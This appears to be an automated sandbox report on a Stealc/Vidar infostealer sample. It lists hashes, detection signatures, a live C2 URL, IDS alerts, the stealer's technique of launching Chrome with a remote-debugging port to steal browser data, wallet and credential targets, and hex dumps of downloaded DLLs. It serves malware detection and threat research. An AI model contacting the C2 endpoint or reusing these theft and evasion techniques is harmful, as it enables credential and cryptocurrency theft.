Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543661
MD5:	c590d2a05e4dcbf3b53d3e04efa88988
SHA1:	e18fe9abf174c67bf5d8808d84e19b04440a8db2
SHA256:	a7effd419e43e4d534ff7caf53b3526cd7d627baf41978b3ef65e86b45e2ea24
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6456 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C590D2A05E4DCBF3B53D3E04EFA88988)

chrome.exe (PID: 7068 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2428,i,9357800286788744826,14473933952351811652,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2076174463.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2074918053.00000000002A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1723219134.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6456	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6456	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6456	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6456	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.2a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6456, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7068, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:13.177374+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49734	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:13.170896+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:13.457926+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:14.567243+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:13.465623+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49734	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:12.869440+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:15.132323+0100	2803304	3	Unknown Traffic	192.168.2.4	49734	185.215.113.206	80	TCP
2024-10-28T08:17:32.601580+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:34.931778+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:36.461745+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:37.631575+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:40.342954+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.206	80	TCP
2024-10-28T08:17:40.906684+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.2a0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.2a0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49979 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2098837860.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2098609810.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1723219134.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2098609810.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2074918053.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1723219134.0000000004D2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2098837860.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 42MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49734 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49734 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49734 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49734 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 